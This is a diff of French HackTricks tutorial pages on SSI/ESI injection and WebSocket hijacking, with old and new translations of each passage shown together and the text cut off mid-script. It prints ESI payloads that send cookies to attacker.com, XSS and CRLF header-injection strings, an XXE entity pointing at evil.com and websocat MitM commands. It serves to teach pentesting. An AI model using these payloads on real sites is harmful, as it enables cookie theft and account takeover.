La décision de quand utiliser SSI et quand avoir votre page entièrement générée par un programme est généralement une question de savoir combien de la page est statique et combien doit être recalculé chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petites informations, telles que l'heure actuelle - comme indiqué ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution. (Définition prise [ici](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
La décision d'utiliser SSI, et quand faire en sorte que votre page soit entièrement générée par un programme, est généralement une question de combien de la page est statique et combien doit être recalculé à chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petits morceaux d'informations, comme l'heure actuelle - montrée ci-dessus. Mais si une majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution. (Définition tirée de [ici](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
|
||||
Vous pouvez déduire la présence de SSI si l'application web utilise des fichiers avec les extensions \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mais ce n'est pas toujours le cas.
|
||||
Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mais ce n'est pas le seul cas.
|
||||
|
||||
Une expression SSI typique a le format suivant :
|
||||
```
|
||||
|
@ -62,22 +64,22 @@ Une expression SSI typique a le format suivant :
|
|||
<!--#set var="name" value="Rich" -->
|
||||
|
||||
```
|
||||
## Inclusion côté serveur
|
||||
## Inclusion côté serveur distant (Edge Side Inclusion)
|
||||
|
||||
Il y a un problème de **mise en cache d'informations ou d'applications dynamiques** car une partie du contenu peut avoir **changé** pour la prochaine fois que le contenu est récupéré. C'est là que l'**ESI** est utilisé, pour indiquer à l'aide de balises ESI le **contenu dynamique qui doit être généré** avant l'envoi de la version en cache.\
|
||||
Si un **attaquant** est capable d'**injecter une balise ESI** dans le contenu mis en cache, alors il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
Il y a un problème de **mise en cache d'informations ou d'applications dynamiques** car une partie du contenu peut **varier** pour la prochaine fois que le contenu est récupéré. C'est à cela que sert **ESI**, pour indiquer à l'aide de balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
|
||||
Si un **attaquant** parvient à **injecter une balise ESI** dans le contenu en cache, alors, il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
|
||||
### Détection de l'ESI
|
||||
### Détection d'ESI
|
||||
|
||||
L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise l'ESI:
|
||||
L'**en-tête** suivant dans une réponse du serveur signifie que le serveur utilise ESI :
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Si vous ne trouvez pas cet en-tête, le serveur **peut quand même utiliser ESI**.\
|
||||
Une **approche d'exploitation aveugle peut également être utilisée** car une requête doit arriver sur le serveur de l'attaquant :
|
||||
Si vous ne trouvez pas cet en-tête, le serveur **pourrait quand même utiliser ESI**.\
|
||||
Une **approche d'exploitation à l'aveugle peut également être utilisée** car une requête devrait arriver au serveur de l'attaquant :
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
hell<!--esi-->o
|
||||
// If previous is reflected as "hello", it's vulnerable
|
||||
|
||||
// Blind detection
|
||||
|
@ -95,32 +97,32 @@ hell<!--esi-->o
|
|||
// Valid for Akamai, sends debug information in the response
|
||||
<esi:debug/>
|
||||
```
|
||||
### Exploitation de l'ESI
|
||||
### Exploitation ESI
|
||||
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a créé un tableau pour nous aider à comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables d'ESI, en fonction de la fonctionnalité prise en charge. Expliquons d'abord les noms de colonnes du tableau ci-dessous :
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a créé un tableau pour nous aider à comprendre les attaques possibles que nous pouvons tenter contre différents logiciels compatibles avec ESI, en fonction des fonctionnalités prises en charge. Fournissons d'abord quelques explications concernant les noms des colonnes du tableau ci-dessous :
|
||||
|
||||
* **Includes** : Prend en charge la directive `<esi:includes>`
|
||||
* **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
|
||||
* **Cookie** : Les cookies du document sont accessibles au moteur ESI
|
||||
* **Upstream Headers Required** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
|
||||
* **Host Allowlist** : Dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant SSRF, par exemple, possible uniquement contre ces hôtes
|
||||
* **Upstream Headers Required** : Les applications de substitution ne traiteront pas les instructions ESI à moins que l'application amont ne fournisse les en-têtes
|
||||
* **Host Allowlist** : Dans ce cas, les inclusions ESI ne sont possibles que depuis les serveurs hôtes autorisés, rendant le SSRF, par exemple, possible uniquement contre ces hôtes
|
||||
|
||||
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Oui | Oui | Oui | Oui | Non |
|
||||
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
||||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
||||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
|
||||
#### XSS
|
||||
|
||||
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur.
|
||||
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
Le fichier _http://attaquant.com/xss.html_ peut contenir une charge utile XSS telle que `<script>alert(1)</script>`
|
||||
Le fichier _http://attacker.com/xss.html_ peut contenir une charge utile XSS comme `<script>alert(1)</script>`
|
||||
|
||||
#### Contourner la protection XSS côté client
|
||||
```markup
|
||||
|
@ -137,34 +139,28 @@ Use <!--esi--> to bypass WAFs:
|
|||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
* Voler le cookie HTTP\_ONLY avec XSS en le reflétant dans la réponse :
|
||||
* Voler un cookie HTTP\_ONLY avec XSS en le reflétant dans la réponse :
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
# Reflect XSS
|
||||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
||||
* Prise de contrôle complète de compte par réflexion de cookies
|
||||
|
||||
* Prise de compte complète en reflétant les cookies
|
||||
#### Fichier Local Privé
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Fichier local privé
|
||||
|
||||
Ne pas confondre avec une "inclusion de fichier local":
|
||||
Ne pas confondre avec une "Inclusion de Fichier Local" :
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF signifie Carriage Return Line Feed. Il s'agit d'une séquence de caractères utilisée pour représenter la fin d'une ligne de texte et le début d'une nouvelle ligne dans un fichier texte. Les serveurs Web utilisent souvent CRLF pour séparer les en-têtes HTTP des corps de réponse. Les attaquants peuvent exploiter les vulnérabilités de CRLF pour injecter des en-têtes HTTP malveillants et effectuer des attaques d'inclusion de côté serveur (SSI) et d'inclusion de bord (ESI).
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Redirection ouverte
|
||||
#### Redirection Ouverte
|
||||
|
||||
Le code suivant ajoutera un en-tête `Location` à la réponse.
|
||||
Ce qui suit ajoutera un en-tête `Location` à la réponse
|
||||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
|
@ -182,9 +178,7 @@ Le code suivant ajoutera un en-tête `Location` à la réponse.
|
|||
|
||||
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### CRLF dans l'ajout d'en-tête (**CVE-2019-2438)**
|
||||
#### CRLF dans l'en-tête Add (**CVE-2019-2438)**
|
||||
```markup
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345
|
||||
|
@ -199,7 +193,7 @@ Cela enverra des informations de débogage incluses dans la réponse :
|
|||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
Il est également possible d'ajouter des inclusions ESI basées sur **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** en spécifiant la valeur `xslt` pour le paramètre _dca_. L'inclusion suivante provoquera la demande de fichier XML et XSLT par le serveur HTTP. Le fichier XSLT est ensuite utilisé pour filtrer le fichier XML. Ce fichier XML peut être utilisé pour effectuer des attaques _XML External Entity (XXE)_. Cela permet aux attaquants d'effectuer des attaques SSRF, ce qui n'est pas très utile car cela doit être effectué via des inclusions ESI, qui est un vecteur SSRF en soi. Les DTD externes ne sont pas analysés car la bibliothèque sous-jacente (Xalan) ne les prend pas en charge. Cela signifie que nous ne pouvons pas extraire de fichiers locaux.
|
||||
Il est également possible d'ajouter des inclusions ESI basées sur \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* en spécifiant la valeur `xslt` au paramètre _dca_. L'inclusion suivante amènera le surrogate HTTP à demander le fichier XML et XSLT. Le fichier XSLT est ensuite utilisé pour filtrer le fichier XML. Ce fichier XML peut être utilisé pour effectuer des attaques _XML External Entity (XXE)_. Cela permet aux attaquants de réaliser des attaques SSRF, ce qui n'est pas très utile puisque cela doit être effectué à travers des inclusions ESI, qui est un vecteur SSRF en lui-même. Les DTD externes ne sont pas analysées car la bibliothèque sous-jacente (Xalan) ne prend pas en charge cette fonctionnalité. Cela signifie que nous ne pouvons pas extraire des fichiers locaux.
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
@ -209,10 +203,10 @@ Le fichier XSLT :
|
|||
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
Vérifiez la page XSLT :
|
||||
Consultez la page XSLT :
|
||||
|
||||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Références
|
||||
|
@ -222,18 +216,20 @@ Vérifiez la page XSLT :
|
|||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||||
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## Liste de détection de force brute
|
||||
## Liste de détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Qu'est-ce que les WebSockets
|
||||
|
||||
Les connexions WebSocket sont initiées via **HTTP** et sont généralement **durables**. Les messages peuvent être envoyés **dans les deux sens à tout moment** et ne sont pas transactionnels. La connexion restera normalement ouverte et inactive jusqu'à ce que le client ou le serveur soit prêt à envoyer un message.\
|
||||
Les WebSockets sont particulièrement utiles dans les situations où une **latence faible ou des messages initiés par le serveur** sont nécessaires, comme les flux en temps réel de données financières.
|
||||
Les connexions WebSocket sont initiées via **HTTP** et sont généralement **à longue durée de vie**. Les messages peuvent être envoyés dans **les deux sens à tout moment** et ne sont pas de nature transactionnelle. La connexion restera normalement ouverte et inactive jusqu'à ce que le client ou le serveur soit prêt à envoyer un message.\
|
||||
Les WebSockets sont particulièrement utiles dans des situations où des messages à **faible latence ou initiés par le serveur** sont nécessaires, comme des flux en temps réel de données financières.
|
||||
|
||||
### Comment les connexions WebSocket sont-elles établies ?
|
||||
|
||||
(Ici, vous trouverez un résumé, mais un **guide plus détaillé sur la création d'une connexion WebSocket** peut être trouvé [**ici**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
Les connexions WebSocket sont généralement créées à l'aide de JavaScript côté client, comme dans l'exemple suivant :
|
||||
(Vous trouverez ici un résumé, mais un **guide plus détaillé sur la création d'une connexion WebSocket** est disponible [**ici**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
Les connexions WebSocket sont normalement créées à l'aide de JavaScript côté client comme suit :
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||||
```
|
||||
Le protocole **`wss`** établit une connexion WebSocket via une connexion **TLS** chiffrée, tandis que le protocole **`ws`** utilise une connexion **non chiffrée**.
|
||||
Le protocole **`wss`** établit un WebSocket sur une connexion **TLS** chiffrée, tandis que le protocole **`ws`** utilise une connexion **non chiffrée**.
|
||||
|
||||
Pour établir la connexion, le navigateur et le serveur effectuent une poignée de main WebSocket via HTTP. Le navigateur envoie une demande de poignée de main WebSocket comme suit :
|
||||
Pour établir la connexion, le navigateur et le serveur effectuent une poignée de main WebSocket sur HTTP. Le navigateur envoie une demande de poignée de main WebSocket comme suit :
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -47,14 +49,14 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|||
|
||||
**Note**
|
||||
|
||||
Plusieurs **caractéristiques** des messages de **poignée de main WebSocket** méritent d'être notées :
|
||||
Plusieurs **caractéristiques** des messages de **poignée de main** WebSocket méritent d'être soulignées :
|
||||
|
||||
* Les en-têtes **`Connection`** et **`Upgrade`** dans la requête et la réponse **indiquent** qu'il s'agit d'une **poignée de main WebSocket**.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Version`** spécifie la version du protocole WebSocket que le client souhaite utiliser. C'est généralement `13`.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Key`** contient une valeur **aléatoire encodée en Base64**, qui doit être générée de manière aléatoire dans chaque requête de poignée de main.
|
||||
* L'en-tête de réponse **`Sec-WebSocket-Accept`** contient un hachage de la valeur soumise dans l'en-tête de requête `Sec-WebSocket-Key`, concaténée avec une chaîne spécifique définie dans la spécification du protocole. Cela est fait pour éviter les réponses trompeuses résultant de serveurs mal configurés ou de proxies de mise en cache.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Version`** spécifie la **version du protocole WebSocket** que le client souhaite utiliser. Il s'agit généralement de `13`.
|
||||
* L'en-tête de requête **`Sec-WebSocket-Key`** contient une **valeur aléatoire** encodée en Base64, qui devrait être générée aléatoirement dans chaque requête de poignée de main.
|
||||
* L'en-tête de réponse **`Sec-WebSocket-Accept`** contient un hachage de la valeur soumise dans l'en-tête de requête `Sec-WebSocket-Key`, concaténée avec une chaîne spécifique définie dans la spécification du protocole. Ceci est fait pour prévenir les réponses trompeuses résultant de serveurs mal configurés ou de proxies de mise en cache.
|
||||
|
||||
L'en-tête **`Sec-WebSocket-Key`** contient une valeur **aléatoire** pour éviter les erreurs des proxies de mise en cache et **n'est pas utilisé à des fins d'authentification ou de gestion de session** (_Ce n'est pas un jeton CSRF_).
|
||||
L'en-tête **`Sec-WebSocket-Key`** contient une **valeur aléatoire** pour prévenir les erreurs de proxies de mise en cache, et **n'est pas utilisé à des fins d'authentification ou de gestion de session** (_Ce n'est pas un jeton CSRF_).
|
||||
|
||||
### Console Linux
|
||||
|
||||
|
@ -66,10 +68,10 @@ Ou pour créer un serveur websocat :
|
|||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### Attaques de MitM sur les connexions websocket
|
||||
### Attaques MitM sur les connexions websocket
|
||||
|
||||
Si vous constatez que des clients sont connectés à un **websocket HTTP** depuis votre réseau local actuel, vous pouvez essayer une [attaque d'ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) pour effectuer une attaque de MitM entre le client et le serveur.\
|
||||
Une fois que le client essaie de se connecter, vous pouvez ensuite utiliser :
|
||||
Si vous découvrez que des clients sont connectés à un **websocket HTTP** depuis votre réseau local actuel, vous pourriez tenter une [Attaque par Usurpation ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) pour réaliser une attaque MitM entre le client et le serveur.\
|
||||
Une fois que le client essaie de se connecter, vous pouvez alors utiliser :
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
|
@ -77,32 +79,32 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|||
|
||||
Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **pour découvrir, identifier et rechercher automatiquement des** **vulnérabilités** connues dans les websockets.
|
||||
|
||||
### Outils de débogage des Websockets
|
||||
### Outils de débogage Websocket
|
||||
|
||||
* **Burp Suite** prend en charge la communication MitM des websockets de la même manière qu'elle le fait pour la communication HTTP classique.
|
||||
* L'extension [**socketsleuth**](https://github.com/snyk/socketsleuth) de Burp Suite vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'**historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater**.
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et afficher toutes les communications WebSocket et Socket.IO entre le client et le serveur.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL interactif pour les websockets** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et en envoyer de nouveaux**, avec un framework facile à utiliser pour **automatiser** cette communication. 
|
||||
* [**https://websocketking.com/**](https://websocketking.com/) est un **site web pour communiquer** avec d'autres sites web en utilisant des **websockets**.
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **site web pour communiquer** avec d'autres sites web en utilisant des **websockets**.
|
||||
* **Burp Suite** prend en charge la communication MitM websockets de manière très similaire à celle utilisée pour la communication HTTP régulière.
|
||||
* L'**extension Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'**historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et remplacement**, en utilisant **Intruder** et **AutoRepeater**.
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip) : Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et voir toutes les communications WebSocket et Socket.IO entre le client et le serveur.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour le pentesting. Il fournit une interface pour observer les **messages websocket entrants et en envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication.
|
||||
* [**https://websocketking.com/**](https://websocketking.com/) est un **site web pour communiquer** avec d'autres sites en utilisant des **websockets**.
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **site web pour communiquer** avec d'autres sites en utilisant des **websockets**.
|
||||
|
||||
## Laboratoire Websocket
|
||||
|
||||
Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course), vous trouverez un code pour lancer un site web utilisant des websockets et dans [**cet article**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/), vous trouverez une explication.
|
||||
Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) vous avez un code pour lancer un site web utilisant des websockets et dans [**ce post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) vous pouvez trouver une explication.
|
||||
|
||||
## Détournement de WebSocket inter-sites (CSWSH)
|
||||
|
||||
Également connu sous le nom de _détournement de WebSocket inter-origines_.\
|
||||
**Il s'agit d'une** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **sur un handshake WebSocket**.
|
||||
Également connu sous le nom de _détournement de WebSocket cross-origin_.\
|
||||
**C'est un** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **sur une poignée de main WebSocket.**
|
||||
|
||||
Cela se produit lorsque la demande de **handshake WebSocket** repose uniquement sur les **cookies HTTP** pour la gestion de session et ne contient **aucun jeton CSRF** ou autre valeur imprévisible.\
|
||||
Un attaquant peut créer une **page web malveillante** sur son propre domaine qui **établit une connexion WebSocket inter-sites** avec l'application vulnérable. L'application gérera la connexion dans le **contexte de la session de l'utilisateur victime** avec l'application.
|
||||
Il survient lorsque la **requête de poignée de main WebSocket** repose uniquement sur des **cookies HTTP** pour la gestion de session et **ne contient aucun jeton CSRF** ou autres valeurs imprévisibles.\
|
||||
Un attaquant peut créer une **page web malveillante** sur son propre domaine qui **établit une connexion WebSocket inter-sites** avec l'application vulnérable. L'application traitera la connexion dans le **contexte de la session de l'utilisateur victime** avec l'application.
|
||||
|
||||
### Attaque simple
|
||||
### Attaque Simple
|
||||
|
||||
Notez que lors de l'**établissement** d'une **connexion websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** peut l'utiliser pour **associer** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
|
||||
Notez que lors de l'**établissement** d'une connexion **websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** pourrait l'utiliser pour **relier** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
|
||||
|
||||
Ainsi, si par **exemple** le **serveur websocket renvoie l'historique de la conversation** d'un utilisateur si un message avec "**READY**" est envoyé, alors une **simple XSS** établissant la connexion (le **cookie** sera **envoyé automatiquement** pour autoriser l'utilisateur victime) en **envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
|
||||
Ensuite, si par **exemple** le **serveur websocket** **renvoie l'historique de la conversation** d'un utilisateur si un message avec "**READY**" est envoyé, alors un **simple XSS** établissant la connexion (le **cookie** sera **envoyé automatiquement** pour autoriser l'utilisateur victime) **envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
|
